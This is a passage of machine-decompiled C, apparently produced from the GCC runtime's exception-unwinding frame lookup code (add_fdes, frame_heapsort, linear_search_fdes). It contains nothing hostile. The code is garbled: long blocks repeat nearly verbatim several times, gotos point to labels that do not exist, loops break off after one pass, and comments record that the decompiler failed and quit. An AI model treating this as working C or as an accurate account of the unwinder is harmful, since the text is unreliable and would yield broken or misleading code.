v88 = g95;
v17 = (int32_t *)v88;
if (v88 != 0) {
// 0x80a869d
*(int32_t *)(v88 + 4) = 0;
// branch -> 0x80a86a4
}
// 0x80a86a4
v67 = (int32_t)v4;
g101 = v67;
if (*(char *)(v67 + 16) == 2) {
// 0x80a8a9a
g95 = v67;
g96 = *(int32_t *)(v67 + 12);
g97 = g100 - 28;
g99 -= 4;
add_fdes(a1, 0, 0);
v50 = v2;
// branch -> 0x80a86db
} else {
// 0x80a86b4
v89 = *(int32_t *)(v67 + 12);
g95 = v89;
v42 = *(int32_t *)v89;
g96 = v42;
if (v42 != 0) {
// 0x80a86bd
v68 = g100 - 28;
g102 = v68;
g101 = v89;
g97 = v68;
g95 = v67;
add_fdes(a1, 0, 0);
v70 = g101 + 4;
v91 = *(int32_t *)v70;
g96 = v91;
g101 = v70;
if (v91 != 0) {
while (true) {
// 0x80a86c4
g97 = g102;
g95 = (int32_t)v4;
add_fdes(a1, 0, 0);
v69 = g101 + 4;
v90 = *(int32_t *)v69;
g96 = v90;
g101 = v69;
if (v90 == 0) {
v50 = (int32_t *)0x80a86d1;
// break -> 0x80a86db
break;
}
// continue -> 0x80a86c4
}
// 0x80a86db
v93 = v38;
v92 = (int32_t)v93;
if (v93 != NULL) {
// 0x80a86eb
g96 = v56;
if (v93->e1 != v27) {
// 0x80a8d61
g99 -= 4;
abort();
// UNREACHABLE
}
}
// 0x80a86fa
v71 = (int32_t)v4;
g101 = v71;
v72 = v71 + 16;
if (*(char *)v72 == 4) {
// 0x80a8ae0
v45 = g98;
if (*(int16_t *)v72 == 2040) {
// 0x80a8af2
v46 = v45;
v117 = v45 - 0x89f44;
// branch -> 0x80a8713
} else {
// 0x80a8ce4
v65 = v45 - 0x89f24;
g101 = v65;
v46 = v45;
v117 = v65;
// branch -> 0x80a8713
}
// 0x80a8713
g102 = v88;
if (v88 == 0) {
// 0x80a8d40
g96 = v92;
g97 = v117;
g95 = v71;
g99 -= 4;
frame_heapsort(a1, 0, 0);
v49 = v50;
v120 = (int32_t *)0x80a8693;
// branch -> 0x80a8878
} else {
// 0x80a8721
v18 = (int32_t *)(v92 + 4);
v94 = *v18;
if (v94 != 0) {
// 0x80a8b00
v61 = v46 + 0x7888;
v36 = (struct struct_118 *)v61;
v12 = v92 + 8;
*(int32_t *)(v88 + 8) = v61;
v14 = v12;
g101 = v14;
g96 = 1;
if (v94 != 1) {
v11 = 1;
v15 = v14;
while (true) {
// 0x80a8b44
v108 = (int32_t)v36;
g1 = v15 < v108;
g103 = v15 == v108;
if (v15 == v108) {
goto lab_0x6c94920;
}
goto lab_0xafb6150;
}
}
// 0x80a8b85
v32 = 0;
v87 = 0;
v82 = 0;
v81 = 0;
v29 = (int32_t *)v93;
// branch -> 0x80a8bd5
while (true) {
// 0x80a8bd5
v86 = v87;
v80 = v81;
v28 = v29;
// branch -> 0x80a8bd5
goto lab_0x6d0fe20;
}
}
// 0x80a8746
*v18 = 0;
g96 = v88;
v19 = (int32_t *)(v88 + 4);
*v19 = 0;
v57 = g102;
v73 = (int32_t)(int32_t *)v93;
g101 = v73;
v16 = *(int32_t *)(v73 + 4) + *(int32_t *)(v57 + 4);
g95 = v16;
if (v16 != v56) {
// 0x80a8d61
g99 -= 4;
abort();
// UNREACHABLE
}
// 0x80a8773
g96 = v57;
g97 = v117;
g95 = (int32_t)v4;
frame_heapsort(a1, 0, 0);
v96 = v38;
v95 = (int32_t)v96;
v97 = *v19;
g96 = v97;
if (v97 != 0) {
// 0x80a879d
v125 = v95 + 8;
v22 = (int32_t *)(v88 + 8 + 4 * v97);
v110 = v96->e1;
// branch -> 0x80a87cf
while (true) {
// 0x80a87cf
v128 = v97 - 1;
v20 = (int32_t *)((int32_t)v22 - 4);
v21 = (struct struct_118 *)*v20;
v41 = v21;
v98 = (int32_t)v110;
if (v110 == NULL) {
v52 = (int32_t *)0x80a8783;
v109 = NULL;
goto lab_0x6cebf10;
}
goto lab_0x6ca6790;
}
}
// 0x80a886a
free(v17);
v49 = (int32_t *)0x80a8783;
v120 = (int32_t *)0x80a8875;
// branch -> 0x80a8878
// 0x80a8878
v100 = v38;
v58 = (int32_t)v4;
v23 = (int32_t *)(v58 + 12);
v100->e0 = (int32_t *)*v23;
*v23 = (int32_t)v100;
v24 = (char *)(v58 + 16);
*v24 = *v24 | 1;
v51 = v49;
v119 = v120;
// branch -> 0x80a888d
// 0x80a888d
v75 = v4;
v74 = (int32_t)v75;
if (v5 < *(int32_t *)v75) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a88a1
v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256;
if (v129 == 1) {
// 0x80a8d00
v115 = *(int32_t *)(v74 + 12);
v54 = *(int32_t *)v115;
g97 = v54;
if (v54 != 0) {
// 0x80a8d13
g101 = v115;
g95 = v74;
g99 -= 4;
if (linear_search_fdes(a1, 0, 0) == 0) {
while (true) {
// 0x80a8d31
v84 = g101 + 4;
v116 = *(int32_t *)v84;
g97 = v116;
g101 = v84;
if (v116 != 0) {
goto lab_0x6cbc6c0;
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
} else {
v121 = v129;
v48 = v51;
v118 = v119;
// 0x80a88d4
v76 = (int32_t)v75;
if ((v121 & 4) == 0) {
// 0x80a88dc
v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000;
if (v130 == 2040) {
// 0x80a88f1
v101 = *(int32_t *)(v76 + 12);
v102 = *(int32_t *)(v101 + 4);
if (v102 != 0) {
// 0x80a88fe
v126 = v101 + 8;
v85 = v102;
v55 = 0;
// branch -> 0x80a8900
while (true) {
// 0x80a8900
v77 = v55 + v85;
g96 = v77;
v44 = v77 / 2;
v25 = (int32_t *)v44;
v122 = *(int32_t *)(v126 + 4 * v44);
v103 = *(int32_t *)(v122 + 8);
if (v5 < v103) {
goto lab_0x6cc57e0;
}
goto lab_0x6cc77a0;
}
}
} else {
// 0x80a89da
v104 = *(int32_t *)(v76 + 12);
v78 = v130 / 8;
v35 = v78 % 256;
g95 = v35;
g97 = v76;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
v105 = *(int32_t *)(v104 + 4);
v33 = v105;
if (v105 != 0) {
// 0x80a8a0c
v79 = v78 % 16;
v59 = g100;
*(int32_t *)(v59 - 160) = v59 - 20;
v60 = g100;
*(int32_t *)(v60 - 148) = v60 - 16;
v127 = v104 + 8;
v106 = (int32_t)v118;
v107 = 0;
// branch -> 0x80a8a30
while (true) {
// 0x80a8a30
v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2);
g96 = v123 + 8;
g95 = v35;
g99 -= 20;
v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0);
g95 = v79;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v106 > v5) {
goto lab_0x6cd4070;
}
goto lab_0x6cd67b0;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80a8c1a
v111 = *(int32_t *)(v76 + 12);
v40 = (struct struct_118 *)v111;
v112 = *(int32_t *)(v111 + 4);
v30 = (int32_t *)v112;
if (v112 != 0) {
// 0x80a8c34
v62 = g100;
v83 = v62 - 20;
g101 = v83;
*(int32_t *)(v62 - 160) = v83;
v63 = g100;
*(int32_t *)(v63 - 148) = v63 - 16;
v113 = (int32_t)v37;
v31 = v30;
v114 = NULL;
// branch -> 0x80a8c4d
while (true) {
// 0x80a8c4d
v47 = ((int32_t)v114 + (int32_t)v31) / 2;
g102 = v47;
v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40);
v13 = v124 + 4;
g95 = v13 - *(int32_t *)v13;
g99 -= 4;
v64 = get_cie_encoding((struct struct_45 *)&a1) % 256;
g97 = (int32_t)v4;
g95 = v64;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
g96 = v124 + 8;
g95 = v64;
g99 -= 20;
v34 = read_encoded_value_with_base_723(a1, 0, 0);
g95 = g101 % 16;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v113 > v5) {
goto lab_0x6ce48f0;
}
goto lab_0x6ce6200;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a8878
v100 = v38;
v58 = (int32_t)v4;
v23 = (int32_t *)(v58 + 12);
v100->e0 = (int32_t *)*v23;
*v23 = (int32_t)v100;
v24 = (char *)(v58 + 16);
*v24 = *v24 | 1;
v51 = v49;
v119 = v120;
// branch -> 0x80a888d
// 0x80a888d
v75 = v4;
v74 = (int32_t)v75;
if (v5 < *(int32_t *)v75) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a88a1
v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256;
if (v129 == 1) {
// 0x80a8d00
v115 = *(int32_t *)(v74 + 12);
v54 = *(int32_t *)v115;
g97 = v54;
if (v54 != 0) {
// 0x80a8d13
g101 = v115;
g95 = v74;
g99 -= 4;
if (linear_search_fdes(a1, 0, 0) == 0) {
while (true) {
// 0x80a8d31
v84 = g101 + 4;
v116 = *(int32_t *)v84;
g97 = v116;
g101 = v84;
if (v116 != 0) {
goto lab_0x6cbc6c0;
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
} else {
v121 = v129;
v48 = v51;
v118 = v119;
// 0x80a88d4
v76 = (int32_t)v75;
if ((v121 & 4) == 0) {
// 0x80a88dc
v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000;
if (v130 == 2040) {
// 0x80a88f1
v101 = *(int32_t *)(v76 + 12);
v102 = *(int32_t *)(v101 + 4);
if (v102 != 0) {
// 0x80a88fe
v126 = v101 + 8;
v85 = v102;
v55 = 0;
// branch -> 0x80a8900
while (true) {
// 0x80a8900
v77 = v55 + v85;
g96 = v77;
v44 = v77 / 2;
v25 = (int32_t *)v44;
v122 = *(int32_t *)(v126 + 4 * v44);
v103 = *(int32_t *)(v122 + 8);
if (v5 < v103) {
goto lab_0x6cc57e0;
}
goto lab_0x6cc77a0;
}
}
} else {
// 0x80a89da
v104 = *(int32_t *)(v76 + 12);
v78 = v130 / 8;
v35 = v78 % 256;
g95 = v35;
g97 = v76;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
v105 = *(int32_t *)(v104 + 4);
v33 = v105;
if (v105 != 0) {
// 0x80a8a0c
v79 = v78 % 16;
v59 = g100;
*(int32_t *)(v59 - 160) = v59 - 20;
v60 = g100;
*(int32_t *)(v60 - 148) = v60 - 16;
v127 = v104 + 8;
v106 = (int32_t)v118;
v107 = 0;
// branch -> 0x80a8a30
while (true) {
// 0x80a8a30
v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2);
g96 = v123 + 8;
g95 = v35;
g99 -= 20;
v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0);
g95 = v79;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v106 > v5) {
goto lab_0x6cd4070;
}
goto lab_0x6cd67b0;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80a8c1a
v111 = *(int32_t *)(v76 + 12);
v40 = (struct struct_118 *)v111;
v112 = *(int32_t *)(v111 + 4);
v30 = (int32_t *)v112;
if (v112 != 0) {
// 0x80a8c34
v62 = g100;
v83 = v62 - 20;
g101 = v83;
*(int32_t *)(v62 - 160) = v83;
v63 = g100;
*(int32_t *)(v63 - 148) = v63 - 16;
v113 = (int32_t)v37;
v31 = v30;
v114 = NULL;
// branch -> 0x80a8c4d
while (true) {
// 0x80a8c4d
v47 = ((int32_t)v114 + (int32_t)v31) / 2;
g102 = v47;
v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40);
v13 = v124 + 4;
g95 = v13 - *(int32_t *)v13;
g99 -= 4;
v64 = get_cie_encoding((struct struct_45 *)&a1) % 256;
g97 = (int32_t)v4;
g95 = v64;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
g96 = v124 + 8;
g95 = v64;
g99 -= 20;
v34 = read_encoded_value_with_base_723(a1, 0, 0);
g95 = g101 % 16;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v113 > v5) {
goto lab_0x6ce48f0;
}
goto lab_0x6ce6200;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80a870a
v43 = g98;
v46 = v43;
v117 = v43 - 0x887a4;
// branch -> 0x80a8713
}
// 0x80a8713
g102 = v88;
if (v88 == 0) {
// 0x80a8d40
g96 = v92;
g97 = v117;
g95 = v71;
g99 -= 4;
frame_heapsort(a1, 0, 0);
v49 = v50;
v120 = (int32_t *)0x80a8693;
// branch -> 0x80a8878
} else {
// 0x80a8721
v18 = (int32_t *)(v92 + 4);
v94 = *v18;
if (v94 != 0) {
// 0x80a8b00
v61 = v46 + 0x7888;
v36 = (struct struct_118 *)v61;
v12 = v92 + 8;
*(int32_t *)(v88 + 8) = v61;
v14 = v12;
g101 = v14;
g96 = 1;
if (v94 != 1) {
v11 = 1;
v15 = v14;
while (true) {
// 0x80a8b44
v108 = (int32_t)v36;
g1 = v15 < v108;
g103 = v15 == v108;
if (v15 == v108) {
goto lab_0x6c94920;
}
goto lab_0xafb6150;
}
}
// 0x80a8b85
v32 = 0;
v87 = 0;
v82 = 0;
v81 = 0;
v29 = (int32_t *)v93;
// branch -> 0x80a8bd5
while (true) {
// 0x80a8bd5
v86 = v87;
v80 = v81;
v28 = v29;
// branch -> 0x80a8bd5
goto lab_0x6d0fe20;
}
}
// 0x80a8746
*v18 = 0;
g96 = v88;
v19 = (int32_t *)(v88 + 4);
*v19 = 0;
v57 = g102;
v73 = (int32_t)(int32_t *)v93;
g101 = v73;
v16 = *(int32_t *)(v73 + 4) + *(int32_t *)(v57 + 4);
g95 = v16;
if (v16 != v56) {
// 0x80a8d61
g99 -= 4;
abort();
// UNREACHABLE
}
// 0x80a8773
g96 = v57;
g97 = v117;
g95 = (int32_t)v4;
frame_heapsort(a1, 0, 0);
v96 = v38;
v95 = (int32_t)v96;
v97 = *v19;
g96 = v97;
if (v97 != 0) {
// 0x80a879d
v125 = v95 + 8;
v22 = (int32_t *)(v88 + 8 + 4 * v97);
v110 = v96->e1;
// branch -> 0x80a87cf
while (true) {
// 0x80a87cf
v128 = v97 - 1;
v20 = (int32_t *)((int32_t)v22 - 4);
v21 = (struct struct_118 *)*v20;
v41 = v21;
v98 = (int32_t)v110;
if (v110 == NULL) {
v52 = (int32_t *)0x80a8783;
v109 = NULL;
goto lab_0x6cebf10;
}
goto lab_0x6ca6790;
}
}
// 0x80a886a
free(v17);
v49 = (int32_t *)0x80a8783;
v120 = (int32_t *)0x80a8875;
// branch -> 0x80a8878
// 0x80a8878
v100 = v38;
v58 = (int32_t)v4;
v23 = (int32_t *)(v58 + 12);
v100->e0 = (int32_t *)*v23;
*v23 = (int32_t)v100;
v24 = (char *)(v58 + 16);
*v24 = *v24 | 1;
v51 = v49;
v119 = v120;
// branch -> 0x80a888d
// 0x80a888d
v75 = v4;
v74 = (int32_t)v75;
if (v5 < *(int32_t *)v75) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a88a1
v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256;
if (v129 == 1) {
// 0x80a8d00
v115 = *(int32_t *)(v74 + 12);
v54 = *(int32_t *)v115;
g97 = v54;
if (v54 != 0) {
// 0x80a8d13
g101 = v115;
g95 = v74;
g99 -= 4;
if (linear_search_fdes(a1, 0, 0) == 0) {
while (true) {
// 0x80a8d31
v84 = g101 + 4;
v116 = *(int32_t *)v84;
g97 = v116;
g101 = v84;
if (v116 != 0) {
goto lab_0x6cbc6c0;
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
} else {
v121 = v129;
v48 = v51;
v118 = v119;
// 0x80a88d4
v76 = (int32_t)v75;
if ((v121 & 4) == 0) {
// 0x80a88dc
v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000;
if (v130 == 2040) {
// 0x80a88f1
v101 = *(int32_t *)(v76 + 12);
v102 = *(int32_t *)(v101 + 4);
if (v102 != 0) {
// 0x80a88fe
v126 = v101 + 8;
v85 = v102;
v55 = 0;
// branch -> 0x80a8900
while (true) {
// 0x80a8900
v77 = v55 + v85;
g96 = v77;
v44 = v77 / 2;
v25 = (int32_t *)v44;
v122 = *(int32_t *)(v126 + 4 * v44);
v103 = *(int32_t *)(v122 + 8);
if (v5 < v103) {
goto lab_0x6cc57e0;
}
goto lab_0x6cc77a0;
}
}
} else {
// 0x80a89da
v104 = *(int32_t *)(v76 + 12);
v78 = v130 / 8;
v35 = v78 % 256;
g95 = v35;
g97 = v76;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
v105 = *(int32_t *)(v104 + 4);
v33 = v105;
if (v105 != 0) {
// 0x80a8a0c
v79 = v78 % 16;
v59 = g100;
*(int32_t *)(v59 - 160) = v59 - 20;
v60 = g100;
*(int32_t *)(v60 - 148) = v60 - 16;
v127 = v104 + 8;
v106 = (int32_t)v118;
v107 = 0;
// branch -> 0x80a8a30
while (true) {
// 0x80a8a30
v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2);
g96 = v123 + 8;
g95 = v35;
g99 -= 20;
v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0);
g95 = v79;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v106 > v5) {
goto lab_0x6cd4070;
}
goto lab_0x6cd67b0;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80a8c1a
v111 = *(int32_t *)(v76 + 12);
v40 = (struct struct_118 *)v111;
v112 = *(int32_t *)(v111 + 4);
v30 = (int32_t *)v112;
if (v112 != 0) {
// 0x80a8c34
v62 = g100;
v83 = v62 - 20;
g101 = v83;
*(int32_t *)(v62 - 160) = v83;
v63 = g100;
*(int32_t *)(v63 - 148) = v63 - 16;
v113 = (int32_t)v37;
v31 = v30;
v114 = NULL;
// branch -> 0x80a8c4d
while (true) {
// 0x80a8c4d
v47 = ((int32_t)v114 + (int32_t)v31) / 2;
g102 = v47;
v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40);
v13 = v124 + 4;
g95 = v13 - *(int32_t *)v13;
g99 -= 4;
v64 = get_cie_encoding((struct struct_45 *)&a1) % 256;
g97 = (int32_t)v4;
g95 = v64;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
g96 = v124 + 8;
g95 = v64;
g99 -= 20;
v34 = read_encoded_value_with_base_723(a1, 0, 0);
g95 = g101 % 16;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v113 > v5) {
goto lab_0x6ce48f0;
}
goto lab_0x6ce6200;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a8878
v100 = v38;
v58 = (int32_t)v4;
v23 = (int32_t *)(v58 + 12);
v100->e0 = (int32_t *)*v23;
*v23 = (int32_t)v100;
v24 = (char *)(v58 + 16);
*v24 = *v24 | 1;
v51 = v49;
v119 = v120;
// branch -> 0x80a888d
// 0x80a888d
v75 = v4;
v74 = (int32_t)v75;
if (v5 < *(int32_t *)v75) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a88a1
v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256;
if (v129 == 1) {
// 0x80a8d00
v115 = *(int32_t *)(v74 + 12);
v54 = *(int32_t *)v115;
g97 = v54;
if (v54 != 0) {
// 0x80a8d13
g101 = v115;
g95 = v74;
g99 -= 4;
if (linear_search_fdes(a1, 0, 0) == 0) {
while (true) {
// 0x80a8d31
v84 = g101 + 4;
v116 = *(int32_t *)v84;
g97 = v116;
g101 = v84;
if (v116 != 0) {
goto lab_0x6cbc6c0;
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
} else {
v121 = v129;
v48 = v51;
v118 = v119;
// 0x80a88d4
v76 = (int32_t)v75;
if ((v121 & 4) == 0) {
// 0x80a88dc
v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000;
if (v130 == 2040) {
// 0x80a88f1
v101 = *(int32_t *)(v76 + 12);
v102 = *(int32_t *)(v101 + 4);
if (v102 != 0) {
// 0x80a88fe
v126 = v101 + 8;
v85 = v102;
v55 = 0;
// branch -> 0x80a8900
while (true) {
// 0x80a8900
v77 = v55 + v85;
g96 = v77;
v44 = v77 / 2;
v25 = (int32_t *)v44;
v122 = *(int32_t *)(v126 + 4 * v44);
v103 = *(int32_t *)(v122 + 8);
if (v5 < v103) {
goto lab_0x6cc57e0;
}
goto lab_0x6cc77a0;
}
}
} else {
// 0x80a89da
v104 = *(int32_t *)(v76 + 12);
v78 = v130 / 8;
v35 = v78 % 256;
g95 = v35;
g97 = v76;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
v105 = *(int32_t *)(v104 + 4);
v33 = v105;
if (v105 != 0) {
// 0x80a8a0c
v79 = v78 % 16;
v59 = g100;
*(int32_t *)(v59 - 160) = v59 - 20;
v60 = g100;
*(int32_t *)(v60 - 148) = v60 - 16;
v127 = v104 + 8;
v106 = (int32_t)v118;
v107 = 0;
// branch -> 0x80a8a30
while (true) {
// 0x80a8a30
v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2);
g96 = v123 + 8;
g95 = v35;
g99 -= 20;
v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0);
g95 = v79;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v106 > v5) {
goto lab_0x6cd4070;
}
goto lab_0x6cd67b0;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80a8c1a
v111 = *(int32_t *)(v76 + 12);
v40 = (struct struct_118 *)v111;
v112 = *(int32_t *)(v111 + 4);
v30 = (int32_t *)v112;
if (v112 != 0) {
// 0x80a8c34
v62 = g100;
v83 = v62 - 20;
g101 = v83;
*(int32_t *)(v62 - 160) = v83;
v63 = g100;
*(int32_t *)(v63 - 148) = v63 - 16;
v113 = (int32_t)v37;
v31 = v30;
v114 = NULL;
// branch -> 0x80a8c4d
while (true) {
// 0x80a8c4d
v47 = ((int32_t)v114 + (int32_t)v31) / 2;
g102 = v47;
v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40);
v13 = v124 + 4;
g95 = v13 - *(int32_t *)v13;
g99 -= 4;
v64 = get_cie_encoding((struct struct_45 *)&a1) % 256;
g97 = (int32_t)v4;
g95 = v64;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
g96 = v124 + 8;
g95 = v64;
g99 -= 20;
v34 = read_encoded_value_with_base_723(a1, 0, 0);
g95 = g101 % 16;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v113 > v5) {
goto lab_0x6ce48f0;
}
goto lab_0x6ce6200;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
v50 = (int32_t *)0x80a86d1;
}
} else {
v50 = v2;
}
}
// 0x80a86db
v93 = v38;
v92 = (int32_t)v93;
if (v93 != NULL) {
// 0x80a86eb
g96 = v56;
if (v93->e1 != v27) {
// 0x80a8d61
g99 -= 4;
abort();
// UNREACHABLE
}
}
// 0x80a86fa
v71 = (int32_t)v4;
g101 = v71;
v72 = v71 + 16;
if (*(char *)v72 == 4) {
// 0x80a8ae0
v45 = g98;
if (*(int16_t *)v72 == 2040) {
// 0x80a8af2
v46 = v45;
v117 = v45 - 0x89f44;
// branch -> 0x80a8713
} else {
// 0x80a8ce4
v65 = v45 - 0x89f24;
g101 = v65;
v46 = v45;
v117 = v65;
// branch -> 0x80a8713
}
// 0x80a8713
g102 = v88;
if (v88 == 0) {
// 0x80a8d40
g96 = v92;
g97 = v117;
g95 = v71;
g99 -= 4;
frame_heapsort(a1, 0, 0);
v49 = v50;
v120 = (int32_t *)0x80a8693;
// branch -> 0x80a8878
} else {
// 0x80a8721
v18 = (int32_t *)(v92 + 4);
v94 = *v18;
if (v94 != 0) {
// 0x80a8b00
v61 = v46 + 0x7888;
v36 = (struct struct_118 *)v61;
v12 = v92 + 8;
*(int32_t *)(v88 + 8) = v61;
v14 = v12;
g101 = v14;
g96 = 1;
if (v94 != 1) {
v11 = 1;
v15 = v14;
while (true) {
// 0x80a8b44
v108 = (int32_t)v36;
g1 = v15 < v108;
g103 = v15 == v108;
if (v15 == v108) {
goto lab_0x6c94920;
}
goto lab_0xafb6150;
}
}
// 0x80a8b85
v32 = 0;
v87 = 0;
v82 = 0;
v81 = 0;
v29 = (int32_t *)v93;
// branch -> 0x80a8bd5
while (true) {
// 0x80a8bd5
v86 = v87;
v80 = v81;
v28 = v29;
// branch -> 0x80a8bd5
goto lab_0x6d0fe20;
}
}
// 0x80a8746
*v18 = 0;
g96 = v88;
v19 = (int32_t *)(v88 + 4);
*v19 = 0;
v57 = g102;
v73 = (int32_t)(int32_t *)v93;
g101 = v73;
v16 = *(int32_t *)(v73 + 4) + *(int32_t *)(v57 + 4);
g95 = v16;
if (v16 != v56) {
// 0x80a8d61
g99 -= 4;
abort();
// UNREACHABLE
}
// 0x80a8773
g96 = v57;
g97 = v117;
g95 = (int32_t)v4;
frame_heapsort(a1, 0, 0);
v96 = v38;
v95 = (int32_t)v96;
v97 = *v19;
g96 = v97;
if (v97 != 0) {
// 0x80a879d
v125 = v95 + 8;
v22 = (int32_t *)(v88 + 8 + 4 * v97);
v110 = v96->e1;
// branch -> 0x80a87cf
while (true) {
// 0x80a87cf
v128 = v97 - 1;
v20 = (int32_t *)((int32_t)v22 - 4);
v21 = (struct struct_118 *)*v20;
v41 = v21;
v98 = (int32_t)v110;
if (v110 == NULL) {
v52 = (int32_t *)0x80a8783;
v109 = NULL;
goto lab_0x6cebf10;
}
goto lab_0x6ca6790;
}
}
// 0x80a886a
free(v17);
v49 = (int32_t *)0x80a8783;
v120 = (int32_t *)0x80a8875;
// branch -> 0x80a8878
// 0x80a8878
v100 = v38;
v58 = (int32_t)v4;
v23 = (int32_t *)(v58 + 12);
v100->e0 = (int32_t *)*v23;
*v23 = (int32_t)v100;
v24 = (char *)(v58 + 16);
*v24 = *v24 | 1;
v51 = v49;
// branch -> 0x80a888d
// 0x80a888d
v75 = v4;
v74 = (int32_t)v75;
if (v5 < *(int32_t *)v75) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a88a1
v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256;
if (v129 == 1) {
// 0x80a8d00
v115 = *(int32_t *)(v74 + 12);
v54 = *(int32_t *)v115;
g97 = v54;
if (v54 != 0) {
// 0x80a8d13
g101 = v115;
g95 = v74;
g99 -= 4;
if (linear_search_fdes(a1, 0, 0) == 0) {
while (true) {
// 0x80a8d31
v84 = g101 + 4;
v116 = *(int32_t *)v84;
g97 = v116;
g101 = v84;
if (v116 != 0) {
goto lab_0x6cbc6c0;
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
} else {
v121 = v129;
v48 = v51;
v118 = v120;
// 0x80a88d4
v76 = (int32_t)v75;
if ((v121 & 4) == 0) {
// 0x80a88dc
v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000;
if (v130 == 2040) {
// 0x80a88f1
v101 = *(int32_t *)(v76 + 12);
v102 = *(int32_t *)(v101 + 4);
if (v102 != 0) {
// 0x80a88fe
v126 = v101 + 8;
v85 = v102;
v55 = 0;
// branch -> 0x80a8900
while (true) {
// 0x80a8900
v77 = v55 + v85;
g96 = v77;
v44 = v77 / 2;
v25 = (int32_t *)v44;
v122 = *(int32_t *)(v126 + 4 * v44);
v103 = *(int32_t *)(v122 + 8);
if (v5 < v103) {
goto lab_0x6cc57e0;
}
goto lab_0x6cc77a0;
}
}
} else {
// 0x80a89da
v104 = *(int32_t *)(v76 + 12);
v78 = v130 / 8;
v35 = v78 % 256;
g95 = v35;
g97 = v76;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
v105 = *(int32_t *)(v104 + 4);
v33 = v105;
if (v105 != 0) {
// 0x80a8a0c
v79 = v78 % 16;
v59 = g100;
*(int32_t *)(v59 - 160) = v59 - 20;
v60 = g100;
*(int32_t *)(v60 - 148) = v60 - 16;
v127 = v104 + 8;
v106 = (int32_t)v118;
v107 = 0;
// branch -> 0x80a8a30
while (true) {
// 0x80a8a30
v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2);
g96 = v123 + 8;
g95 = v35;
g99 -= 20;
v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0);
g95 = v79;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v106 > v5) {
goto lab_0x6cd4070;
}
goto lab_0x6cd67b0;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80a8c1a
v111 = *(int32_t *)(v76 + 12);
v40 = (struct struct_118 *)v111;
v112 = *(int32_t *)(v111 + 4);
v30 = (int32_t *)v112;
if (v112 != 0) {
// 0x80a8c34
v62 = g100;
v83 = v62 - 20;
g101 = v83;
*(int32_t *)(v62 - 160) = v83;
v63 = g100;
*(int32_t *)(v63 - 148) = v63 - 16;
v113 = (int32_t)v37;
v31 = v30;
v114 = NULL;
// branch -> 0x80a8c4d
while (true) {
// 0x80a8c4d
v47 = ((int32_t)v114 + (int32_t)v31) / 2;
g102 = v47;
v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40);
v13 = v124 + 4;
g95 = v13 - *(int32_t *)v13;
g99 -= 4;
v64 = get_cie_encoding((struct struct_45 *)&a1) % 256;
g97 = (int32_t)v4;
g95 = v64;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
